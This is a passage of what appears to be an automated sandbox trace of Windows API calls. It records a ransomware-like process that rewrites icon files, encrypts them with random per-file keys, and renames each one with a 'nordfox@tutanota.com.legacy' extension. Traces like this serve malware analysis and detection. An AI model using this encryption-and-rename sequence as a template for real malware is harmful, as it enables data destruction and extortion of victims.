lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=36710) returned 1 [0106.018] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8f66) returned 0x5c0f88 [0106.019] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8f66) returned 0x5c9ef8 [0106.019] ReadFile (in: hFile=0x4f0, lpBuffer=0x5c0f88, nNumberOfBytesToRead=0x8f66, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c0f88*, lpNumberOfBytesRead=0x2e1f9bc*=0x8f66, lpOverlapped=0x0) returned 1 [0106.040] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=-36710, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.040] WriteFile (in: hFile=0x4f0, lpBuffer=0x5c9ef8*, nNumberOfBytesToWrite=0x8f66, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c9ef8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8f66, lpOverlapped=0x0) returned 1 [0106.041] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c0f88 | out: hHeap=0x520000) returned 1 [0106.041] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c9ef8 | out: hHeap=0x520000) returned 1 [0106.041] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x8f66 [0106.041] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0106.041] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584ca0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584ca0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0106.042] WriteFile (in: hFile=0x4f0, lpBuffer=0x584ca0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584ca0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0106.043] WriteFile (in: hFile=0x4f0, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0106.043] CloseHandle (hObject=0x4f0) returned 1 [0106.043] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584ca0 | out: hHeap=0x520000) returned 1 [0106.043] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0106.043] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), lpNewFileName="\\588bce7c90097ed212\\Graphics\\Setup.ico.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0106.045] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0106.045] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d298 | out: hHeap=0x520000) returned 1 [0106.045] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d240 | out: hHeap=0x520000) returned 1 [0106.045] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d348 [0106.045] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584670 [0106.045] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0106.045] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584670 | out: pbBuffer=0x584670) returned 1 [0106.045] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0106.045] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\Graphics\\Save.ico", dwFileAttributes=0x80) returned 1 [0106.045] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d088 [0106.046] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x56c808 [0106.046] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d088 | out: hHeap=0x520000) returned 1 [0106.046] CreateFileW (lpFileName="\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0106.046] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1150) returned 1 [0106.046] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x47e) returned 0x5c0f88 [0106.046] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x47e) returned 0x5c1410 [0106.046] ReadFile (in: hFile=0x4f0, lpBuffer=0x5c0f88, nNumberOfBytesToRead=0x47e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c0f88*, lpNumberOfBytesRead=0x2e1f9bc*=0x47e, lpOverlapped=0x0) returned 1 [0106.048] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=-1150, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.048] WriteFile (in: hFile=0x4f0, lpBuffer=0x5c1410*, nNumberOfBytesToWrite=0x47e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c1410*, lpNumberOfBytesWritten=0x2e1f9bc*=0x47e, lpOverlapped=0x0) returned 1 [0106.048] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c0f88 | out: hHeap=0x520000) returned 1 [0106.048] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c1410 | out: hHeap=0x520000) returned 1 [0106.048] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x47e [0106.048] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0106.048] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584670*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584670*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0106.049] WriteFile (in: hFile=0x4f0, lpBuffer=0x584670*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584670*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0106.049] WriteFile (in: hFile=0x4f0, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0106.049] CloseHandle (hObject=0x4f0) returned 1 [0106.049] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584670 | out: hHeap=0x520000) returned 1 [0106.049] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0106.049] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), lpNewFileName="\\588bce7c90097ed212\\Graphics\\Save.ico.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0106.051] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56c808 | out: hHeap=0x520000) returned 1 [0106.051] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d348 | out: hHeap=0x520000) returned 1 [0106.051] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0106.051] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556640 [0106.051] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584460 [0106.051] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0106.051] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584460 | out: pbBuffer=0x584460) returned 1 [0106.052] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0106.052] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\Graphics\\Rotate8.ico", dwFileAttributes=0x80) returned 1 [0106.052] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556a50 [0106.052] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0106.052] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556a50 | out: hHeap=0x520000) returned 1 [0106.052] CreateFileW (lpFileName="\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0106.052] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=894) returned 1 [0106.052] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x37e) returned 0x5c0f88 [0106.052] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x37e) returned 0x5c1310 [0106.052] ReadFile (in: hFile=0x4f0, lpBuffer=0x5c0f88, nNumberOfBytesToRead=0x37e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c0f88*, lpNumberOfBytesRead=0x2e1f9bc*=0x37e, lpOverlapped=0x0) returned 1 [0106.059] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=-894, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.059] WriteFile (in: hFile=0x4f0, lpBuffer=0x5c1310*, nNumberOfBytesToWrite=0x37e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c1310*, lpNumberOfBytesWritten=0x2e1f9bc*=0x37e, lpOverlapped=0x0) returned 1 [0106.059] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c0f88 | out: hHeap=0x520000) returned 1 [0106.059] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c1310 | out: hHeap=0x520000) returned 1 [0106.059] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x37e [0106.059] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0106.059] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584460*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584460*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0106.059] WriteFile (in: hFile=0x4f0, lpBuffer=0x584460*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584460*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0106.060] WriteFile (in: hFile=0x4f0, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0106.060] CloseHandle (hObject=0x4f0) returned 1 [0106.060] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584460 | out: hHeap=0x520000) returned 1 [0106.060] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0106.060] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), lpNewFileName="\\588bce7c90097ed212\\Graphics\\Rotate8.ico.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0106.071] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0106.071] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556640 | out: hHeap=0x520000) returned 1 [0106.071] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5566a8 | out: hHeap=0x520000) returned 1 [0106.071] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556918 [0106.071] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x583f38 [0106.071] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0106.071] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x583f38 | out: pbBuffer=0x583f38) returned 1 [0106.071] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0106.071] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\Graphics\\Rotate7.ico", dwFileAttributes=0x80) returned 1 [0106.072] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5567e0 [0106.072] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0106.072] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5567e0 | out: hHeap=0x520000) returned 1 [0106.072] CreateFileW (lpFileName="\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0106.072] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=894) returned 1 [0106.072] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x37e) returned 0x5c0f88 [0106.073] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x37e) returned 0x5c1310 [0106.073] ReadFile (in: hFile=0x4f0, lpBuffer=0x5c0f88, nNumberOfBytesToRead=0x37e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c0f88*, lpNumberOfBytesRead=0x2e1f9bc*=0x37e, lpOverlapped=0x0) returned 1 [0106.216] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=-894, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.216] WriteFile (in: hFile=0x4f0, lpBuffer=0x5c1310*, nNumberOfBytesToWrite=0x37e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c1310*, lpNumberOfBytesWritten=0x2e1f9bc*=0x37e, lpOverlapped=0x0) returned 1 [0106.216] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c0f88 | out: hHeap=0x520000) returned 1 [0106.216] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c1310 | out: hHeap=0x520000) returned 1 [0106.216] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x37e [0106.251] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0106.252] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x583f38*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x583f38*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0106.252] WriteFile (in: hFile=0x4f0, lpBuffer=0x583f38*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x583f38*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0106.252] WriteFile (in: hFile=0x4f0, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0106.252] CloseHandle (hObject=0x4f0) returned 1 [0106.253] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x583f38 | out: hHeap=0x520000) returned 1 [0106.253] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0106.253] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), lpNewFileName="\\588bce7c90097ed212\\Graphics\\Rotate7.ico.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0106.260] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0106.260] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556918 | out: hHeap=0x520000) returned 1 [0106.260] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556cc0 | out: hHeap=0x520000) returned 1 [0106.260] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0106.260] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x583f38 [0106.260] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0106.260] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x583f38 | out: pbBuffer=0x583f38) returned 1 [0106.260] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0106.260] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\Graphics\\Rotate6.ico", dwFileAttributes=0x80) returned 1 [0106.261] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5567e0 [0106.261] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0106.261] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5567e0 | out: hHeap=0x520000) returned 1 [0106.261] CreateFileW (lpFileName="\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0106.261] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=894) returned 1 [0106.261] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x37e) returned 0x5c0f88 [0106.261] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x37e) returned 0x5c1310 [0106.261] ReadFile (in: hFile=0x4f0, lpBuffer=0x5c0f88, nNumberOfBytesToRead=0x37e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c0f88*, lpNumberOfBytesRead=0x2e1f9bc*=0x37e, lpOverlapped=0x0) returned 1 [0106.321] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=-894, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.321] WriteFile (in: hFile=0x4f0, lpBuffer=0x5c1310*, nNumberOfBytesToWrite=0x37e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c1310*, lpNumberOfBytesWritten=0x2e1f9bc*=0x37e, lpOverlapped=0x0) returned 1 [0106.321] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c0f88 | out: hHeap=0x520000) returned 1 [0106.321] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c1310 | out: hHeap=0x520000) returned 1 [0106.321] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x37e [0106.321] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0106.321] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x583f38*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x583f38*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0106.322] WriteFile (in: hFile=0x4f0, lpBuffer=0x583f38*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x583f38*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0106.322] WriteFile (in: hFile=0x4f0, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0106.322] CloseHandle (hObject=0x4f0) returned 1 [0106.322] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x583f38 | out: hHeap=0x520000) returned 1 [0106.322] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0106.322] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), lpNewFileName="\\588bce7c90097ed212\\Graphics\\Rotate6.ico.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0106.324] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0106.324] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0106.324] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5569e8 | out: hHeap=0x520000) returned 1 [0106.324] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556a50 [0106.324] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584880 [0106.324] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0106.324] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584880 | out: pbBuffer=0x584880) returned 1 [0106.324] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0106.324] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\Graphics\\Rotate5.ico", dwFileAttributes=0x80) returned 1 [0106.325] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b20 [0106.325] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0106.325] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b20 | out: hHeap=0x520000) returned 1 [0106.325] CreateFileW (lpFileName="\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0106.325] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=894) returned 1 [0106.325] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x37e) returned 0x5c0f88 [0106.325] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x37e) returned 0x5c1310 [0106.325] ReadFile (in: hFile=0x4f0, lpBuffer=0x5c0f88, nNumberOfBytesToRead=0x37e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c0f88*, lpNumberOfBytesRead=0x2e1f9bc*=0x37e, lpOverlapped=0x0) returned 1 [0106.584] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=-894, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.584] WriteFile (in: hFile=0x4f0, lpBuffer=0x5c1310*, nNumberOfBytesToWrite=0x37e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c1310*, lpNumberOfBytesWritten=0x2e1f9bc*=0x37e, lpOverlapped=0x0) returned 1 [0106.585] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c0f88 | out: hHeap=0x520000) returned 1 [0106.585] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c1310 | out: hHeap=0x520000) returned 1 [0106.585] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x37e [0106.585] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0106.585] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584880*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584880*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0106.585] WriteFile (in: hFile=0x4f0, lpBuffer=0x584880*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584880*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0106.585] WriteFile (in: hFile=0x4f0, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0106.585] CloseHandle (hObject=0x4f0) returned 1 [0106.585] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584880 | out: hHeap=0x520000) returned 1 [0106.585] HeapFree (in: 